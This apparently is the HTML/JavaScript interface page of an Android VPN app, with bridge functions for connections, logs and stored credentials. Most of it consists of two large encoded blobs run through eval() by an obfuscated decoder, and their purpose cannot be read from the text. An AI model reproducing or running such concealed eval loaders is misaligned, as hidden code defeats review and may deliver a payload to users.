wEjEUwEBEEwEjUBwEjUBwEBBEwBEUBwEBBjwEjUBwEBBBwEjUBwEBBEwEBUjwBBjBwBjEjwEEjUwBjEjwEBjBwEjUEwBjEjwBBjjwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBEEUwEBBUwEBBEwEBUjwEjEBwEBjBwEBBEwEjUBwEBEEwBBBEwEBEEwEjUBwEBEBwEBUBwEjUBwEBEUwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjBwBjEjwEEjUwBjEjwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBEEUwEBBUwEBBEwEBUjwEjEBwEBjBwEBBEwEjUBwEBEEwBBBEwEBEEwEjUBwEBEBwEBUBwEjUBwEBEUwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjjwBBjBwBEjUwBjEjwEEBBwBjEjwEjUBwEBBjwEBEUwEjUBwBjEjwEBjBwEjUEwBjEjwBBjjwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBEEUwEBBUwEBBEwEBUjwEjEBwEBjBwEBBEwEjUBwEBEEwBBBEwEBUUwEjUBwEjEEwEBjUwEBjBwEBUjwBUEEwEjUBwEBEBwEBUBwEjUBwEBEUwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjBwBjEjwEEjUwBjEjwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBEEUwEBBUwEBBEwEBUjwEjEBwEBjBwEBBEwEjUBwEBEEwBBBEwEBUUwEjUBwEjEEwEBjUwEBjBwEBUjwBUEEwEjUBwEBEBwEBUBwEjUBwEBEUwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjjwBBjBwBEjUwBjEjwEEBBwBjEjwEjUBwEBBjwEBEUwEjUBwBjEjwEBjBwEjUEwBjEjwBBjjwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBEEUwEBBUwEBBEwEBUjwEjEBwEBjBwEBBEwEjUBwEBEEwBBBEwEBBBwEBEUwBUEEwEjUBwEBEBwEBUBwEjUBwEBEUwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjBwBjEjwEEjUwBjEjwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBEEUwEBBUwEBBEwEBUjwEjEBwEBjBwEBBEwEjUBwEBEEwBBBEwEBBBwEBEUwBUEEwEjUBwEBEBwEBUBwEjUBwEBEUwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjjwBBjBwBEjUwBjEjwEEBBwBjEjwEEBBwBjEjwEjUBwEBBjwEBEUwEjUBwBjEjwEEjUwBjEjwEBjBwEjUEwBjEjwBBjjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEjUBwEEjjwEBjBwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjBwBjEjwEEjUwBjEjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEjUBwEEjjwEBjBwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjjwBBjBwBEjUwBjEjwEEBBwBjEjwEjUBwEBBjwEBEUwEjUBwBjEjwEBjBwEjUEwBjEjwBBjjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEBUUwEjUBwEjEEwEBjUwEBjBwEBUjwBEUBwEEjjwEBjBwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjBwBjEjwEEjUwBjEjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEBUUwEjUBwEjEEwEBjUwEBjBwEBUjwBEUBwEEjjwEBjBwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjjwBBjBwBEjUwBjEjwEEBBwBjEjwEjUBwEBBjwEBEUwEjUBwBjEjwEBjBwEjUEwBjEjwBBjjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEBBBwEBEUwBEUBwEEjjwEBjBwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjBwBjEjwEEjUwBjEjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEBBBwEBEUwBEUBwEEjjwEBjBwEBUjwBEUEwEBUBwEBBjwEBBjwEBEUwEjEUwEBEEwEjUBwEjUBwEBBEwBBjjwBBjBwBEjUwBjEjwEEBBwBjEjwEEBBwUjEwEEBBwUjEwEBUEwEjEBwEBEEwBjEjwEBUEwEBjBwEjUjwEjUBwEBBUwBEUBwEBBjwEjUBwEBBBwEjUBwEBBEwEBUjwBjEjwBEBBwBjEjwEjUjwEBBUwEjEUwEBUBwEBBBwEjUBwEBBEwEBUjwBBBEwEjUUwEjUBwEBUjwBEUBwEBBjwEjUBwEBBBwEjUBwEBBEwEBUjwBEEEwEEjBwBUjBwEjUjwBBjjwBjUUwEBEjwEBBjwEjEBwEEjBwEjUBwEBEEwBjUUwBBjBwBEjUwUjEwEBUEwEBjBwEjUjwEjUBwEBBUwBEUBwEBBjwEjUBwEBBBwEjUBwEBBEwEBUjwBBBEwEjEBwEjUjwEjUjwBEUBwEBUEwEjUBwEBBEwEBUjwBUBjwEBjBwEBEUwEBUjwEjUBwEBBEwEjUBwEBEEwBBjjwBjUUwEBUjwEBBUwEBUBwEjEUwEBjjwEBEUwEBUjwEjEBwEBEEwEBUjwBjUUwBBBjwBjEjwEjUEwEBUBwEBBEwEjEUwEBUjwEBjBwEBBUwEBBEwBBjjwEjUBwEBUEwEjUBwEBBEwEBUjwBBjBwBjEjwEEjUwBjEjwEjEBwEBBjwEBUjwEjUBwEBEEwEBBEwEjEBwEBEEwBUUjwEjUBwEBBjwEjEBwBEEUwEBjjwEjUBwEBjBwEjEBwBBjjwBBjBwBEjUwUjEwEEBBwBBjBwBEjUwUjEw\",35,\"jBEUwtxrZ\",40,4,15))</script>\n\n <script>\n const appGetStatusbarHeightSize = () => DtGetStatusBarHeight.execute()\n const appGetNavbarHeightSize = () => DtGetNavigationBarHeight.execute()\n\n const appTranslateText = (label) => DtTranslateText.execute(label)\n const appGetConfigLabel = (label) => DtGetAppConfig.execute(label)\n\n const appGetCarrierName = () => `${Android.getNetworkName()}`\n const appGetLocalIp = () => `${Android.getLocalIP()}`\n\n const AppUpdate = () => DtStartAppUpdate.execute()\n\n const appAllConfigs = () => DtGetConfigs.execute()\n const appSetConfig = (id) => DtSetConfig.execute(id)\n const appGetDefaultConfig = () => DtGetDefaultConfig.execute()\n const appGetConfigVersion = () =>\n `${DtGetLocalConfigVersion.execute() ?? \"1.0\"}`\n\n const appGetUsername = () => DtUsername.get()\n const appSetUsername = (username) => DtUsername.set(username)\n const appGetPassword = () => DtPassword.get()\n const appSetPassword = (password) => DtPassword.set(password)\n const appGetUUID = () => DtUuid.get()\n const appSetUUID = (uuid) => DtUuid.set(uuid)\n\n const appGetConnectionState = () => DtGetVpnState.execute()\n const appStartConnection = () => DtExecuteVpnStart.execute()\n const appStopConnection = () => DtExecuteVpnStop.execute()\n\n const appGetStatusHotspot = () => DtGetStatusHotSpotService.execute()\n const appStartHotspot = () => DtStartHotSpotService.execute()\n const appStopHotspot = () => DtStopHotSpotService.execute()\n\n const appGetLogs = () => DtGetLogs.execute()\n const appCleanLogs = () => DtClearLogs.execute()\n\n const appBatteryOptimize = () => DtIgnoreBatteryOptimizations.execute()\n const appApnConfiguration = () => DtStartApnActivity.execute()\n \n const appIntoBrowser = (url) => DtStartWebViewActivity.execute(url)\n const appClearData = () => DtCleanApp.execute()\n </script>\n \n \n \n \n\n\n\n <!-- VARIAVEIS LET -->\n <script>\n let timeoutId\n </script>\n\n <!-- DOM WRAPPER -->\n <script>\n const Dom = (selector) => {\n const _elements = document.querySelectorAll(selector)\n\n const wrapper = {\n on(listeners) {\n for (const [event, listener] of Object.entries(listeners)) {\n _elements.forEach((element) => {\n element.addEventListener(event, listener)\n })\n }\n\n return wrapper\n },\n addClass: (...tokens) => {\n _elements.forEach((element) => {\n element.classList.add(...tokens)\n })\n\n return wrapper\n },\n removeClass: (...tokens) => {\n _elements.forEach((element) => {\n element.classList.remove(...tokens)\n })\n\n return wrapper\n },\n toggleClass: (token, force) => {\n _elements.forEach((element) => {\n element.classList.toggle(token, force)\n })\n\n return wrapper\n },\n style(styles) {\n for (const [property, value] of Object.entries(styles)) {\n console.log(value)\n _elements.forEach((element) => {\n element.style[property] = value\n })\n }\n\n return wrapper\n },\n attr(attrs) {\n for (const [name, value] of Object.entries(attrs)) {\n _elements.forEach((element) => element.setAttribute(name, value))\n }\n\n return wrapper\n },\n html(value) {\n _elements.forEach((element) => (element.innerHTML = value))\n return wrapper\n },\n }\n\n return wrapper\n }\n </script>\n \n \n <script>var _0xc4e=[\"\",\"split\",\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/\",\"slice\",\"indexOf\",\"\",\"\",\".\",\"pow\",\"reduce\",\"reverse\",\"0\"];function _0xe94c(d,e,f){var g=_0xc4e[2][_0xc4e[1]](_0xc4e[0]);var h=g[_0xc4e[3]](0,e);var i=g[_0xc4e[3]](0,f);var j=d[_0xc4e[1]](_0xc4e[0])[_0xc4e[10]]()[_0xc4e[9]](function(a,b,c){if(h[_0xc4e[4]](b)!==-1)return a+=h[_0xc4e[4]](b)*(Math[_0xc4e[8]](e,c))},0);var k=_0xc4e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||_0xc4e[11]}eval(function(h,u,n,t,e,r){r=\"\";for(var i=0,len=h.length;i<len;i++){var s=\"\";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],\"g\"),j);r+=String.fromCharCode(_0xe94c(s,e,10)-t)}return decodeURIComponent(escape(r))}(\"cLcdcucLdcuBLdcuLcdcucudcuBwdcuwcdcuLwdcuLcdwwLdcuBcdcuwudcuBLdcucLdcucLdcuwBdcucwdLBcdcuBudcuBudcuuLdccuwdwBcdcuuLdcuBudcuBudcuuLdccuwdwBwdwwLdccuBdwwLdcucLdcuLwdcuBudwwLdwBcdcuwBdcucwdcuBwdwwLdcuwcdwwLdLLwdwwLdcuuLdcuBudcuBudcuuLdccuwdLuwdcuwBdcucwdcuLcdcucBdcuBwdcuwudwwLdLucdwwLdLcudLLudwwLdcuwcdwwLdLLLdwwLdLuBdLLudwwLdcuwcdLucdLucdwBwdwwLdccuBdwwLdcucudcuLwdcuLcdcuBcdcuBwdwwLdcuwwdwwLdLLwdwwLdBcLdcuuLdcuBwdcuwudLuwdcucLdcuwBdcuLwdcuLwdcuBudwBcdBcLdcuuLdcuBwdcuwudLuwdcuBudcuuLdcuLcdcuccdcuLwdcuLudwBcdwBwdwwLdwBLdwwLdwBcdcuwcdwwLdwBBdwwLdLcudwBwdwBwdLLudwwLdBBwdcuuLdcuBudcuBudcuuLdccuwdBBwdcuwcdBBBdLuudwwLdcuuLdcuBudcuBudcuuLdccuwdBBwdcuwwdBBBdBBBdwwLdLLwdwwLdBBwdcuuLdcuBudcuBudcuuLdccuwdBBwdcuwwdBBBdLuudwwLdcuuLdcuBudcuBudcuuLdccuwdBBwdcuwcdBBBdBBBdLLudwwLdccccdcLcdccccdcLcdcucLdcuBLdcuLcdcucudcuBwdcuwcdcuLwdcuLcdwwLdcuwcdcuLcdcuwcdcuBwdBwBdcuwudcuBLdcucLdcucLdcuwBdcucwdwBcdwBwdwwLdccuBdwwLdcucudcuLwdcuLcdcuBcdcuBwdwwLdcucBdcuwcdcucLdLBLdcuLwdcuLcdcuBwdcuuLdcuwcdcuLcdcucwdcuBudBLcdBwLdBcwdcuBcdwwLdLLwdwwLdBBwdwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBcdLwudBLLdLccdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdBwBdBuLdBLBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBcdBuBdcuuBdLcLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLwudcuwLdcuuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBuBdBLBdBcBdcuLLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBcdBcudBucdLBBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdcuBwdcuBLdBcudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdcuLcdBwLdLwudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdcuuBdcucBdcuwudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLBdBwudcuBcdBLBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdcuLLdBccdcucudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLwudcuLudccuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLLdBwBdLccdcucudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdcuwudcuccdcuBwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdBucdLcwdBucdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLBdLBBdBBcdBLLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLBdcuwcdBwcdcuBLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdccucdccuwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdBuBdBLcdLuBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudBLudcuBLdcuLLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdBucdLBwdLcLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudLwwdBuLdLBBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLBdccuudBuBdLcLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdBcudcuLcdcuBwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBcdcuccdBwcdBwcdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLLdBcLdLBBdcuBBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLccdcuBLdcuwBdcuwBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdcuBcdcuwwdcuLBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdccuwdLcBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLwdBuBdcuwwdcucLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLwcdBLwdLBcdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLccdcuBBdLBBdcuuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdBwudBccdcuwBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdccucdccuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLBBdcuBwdcuwLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdBuudLBcdccuudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBwcdBBcdcuBcdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudcuBBdLcwdLuBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdcuLudLcwdcuBcdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBwudcuuLdcuLcdcuwBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLBdLcBdBcBdBBcdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLccdcucwdBwBdcuwudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLwudcuLwdcuBBdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLLdBuwdLwwdBwwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudcucBdLwudBcwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBcdcuuBdBuLdBLudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudcuBcdcuBudcuLudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdLcudccuudcucwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudBLudcuLBdBBudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdLBcdcuwBdBLwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLwudcuwLdcuwLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLwcdBLwdLwLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLLdBLBdcucLdBuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBcdLwudBLLdLwLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdccuLdBwLdccuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdLwcdcuBwdcuwwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLLdcuwcdLBLdBuudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBBudcuBwdccuwdBcLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcudLwLdccuwdLwLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdBLBdccuudBuBdLcwdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdcuBwdBuBdBuLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcudcucLdBcwdcuwudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdLBwdLBwdBucdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcudccuLdLwLdLBLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcLdLccdccucdBLudLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcBdBwLdBLudBcLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuBudLuwdcucudcuLwdcuLudLuLdLcwdcuwudBwwdLBLdLuwdcucBdcuwcdcucLdwBudLuudwwLdwBudcuwudcuBwdcuBwdcuLLdcuBcdLwBdLuLdLuLdcuwcdLuwdcucBdcuwcdcucLdcucwdcuB